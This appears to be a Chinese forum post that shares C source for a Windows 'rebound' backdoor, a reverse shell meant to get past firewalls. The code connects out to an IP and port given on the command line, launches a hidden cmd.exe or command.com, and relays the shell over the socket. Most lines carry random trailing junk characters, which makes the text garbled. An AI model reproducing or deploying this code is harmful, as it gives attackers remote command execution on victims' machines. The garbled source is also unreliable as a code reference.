这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zd*W5~xKg
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/* ============================== nfCd*f
Rebound port in Windows NT 66Cj=n5
By wind,2006/7 ys"mP*wD
===============================*/ 41fm}
#include \I o?ul}za
#include bCac.x#jo
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#pragma comment(lib,"wsock32.lib") s+\qie
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void OutputShell(); |Bf:pG!
SOCKET sClient; kAe-d
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; KohQ6q
}FdcbNsP
void main(int argc,char **argv) ;0_J7
{ NtP.)
WSADATA stWsaData; N~K)0RETn
int nRet; (P52KD[A[
SOCKADDR_IN stSaiClient,stSaiServer; m^u&g&^
) GT?Wd
if(argc != 3) y2ws*IZ"
{ FSZoT!
printf("Useage:\n\rRebound DestIP DestPort\n"); lIc9,|FL
return; UFY~D"%/
} GWE0 UO}
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WSAStartup(MAKEWORD(2,2),&stWsaData); |>fS"u
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )Ai%wCzw*
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stSaiClient.sin_family = AF_INET; ~ z&A
stSaiClient.sin_port = htons(0); v+_Y72h*a
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); oX~$'/2v
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) W%Nu]9T
{ w\;9&;;
printf("Bind Socket Failed!\n"); (<~R[sT|
return;
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} eeTaF!W
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stSaiServer.sin_family = AF_INET; @X><lz
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); bh6wI%8H
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <>/MKMq!
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4J2F>m40
{ QN8Hz/}\
printf("Connect Error!"); W_n.V" hN
return; 5 9HaTq
} kAQ Zj3P]
OutputShell(); m)2hl~o_
} 0c6AQP"=V
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void OutputShell() 6]49kHgMhe
{ yj9gN}+
char szBuff[1024]; {NqGWkGt*b
SECURITY_ATTRIBUTES stSecurityAttributes; hRcJ):Wyb
OSVERSIONINFO stOsversionInfo; ^K[tO54
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )yAPYC
STARTUPINFO stStartupInfo; 'J2P3t
char *szShell; &y+*3,!n8
PROCESS_INFORMATION stProcessInformation; N Uml"
unsigned long lBytesRead; oIgj)AY<
{<BK@U
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); d7gSkna`5c
h /Nt92
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); h2<$L
stSecurityAttributes.lpSecurityDescriptor = 0; OaWq8MIZ-
stSecurityAttributes.bInheritHandle = TRUE; Z%Kj^
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); AV!
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [ RuY'
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xb>+~5 9:
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~`.%n7
stStartupInfo.wShowWindow = SW_HIDE; xn[di-LF
stStartupInfo.hStdInput = hReadPipe; WRM}gWv*
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?^p8]Va%
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GetVersionEx(&stOsversionInfo); #YdU,y=B
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switch(stOsversionInfo.dwPlatformId) _>I5Ud8(-
{ WF G/vzJ
case 1: @RW%EXKt
szShell = "command.com"; 4Rq"xYGXh
break; 9m4|1)
default: KG@hjO
szShell = "cmd.exe"; "?-s
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break; ~ .-'pdz%
} {wySH[V
vD t?N9
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9:s!#FYFM
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send(sClient,szMsg,77,0); M-hnBt
while(1) \&0NH=*^
{ _45"Z}Zx
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3@*8\
if(lBytesRead) wW~2]*n
{ Re_.<_$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); m{|n.b
send(sClient,szBuff,lBytesRead,0); Q>$v~v?9
} l]gfT&
else Zh*I0m
{ L 'y+^L|X
lBytesRead=recv(sClient,szBuff,1024,0); cqDnZ`|6
if(lBytesRead<=0) break; h.NA$E?7
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); nm..$QL
} %|Vq"MW,I
} xp=
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return; &>SE9w/?o
}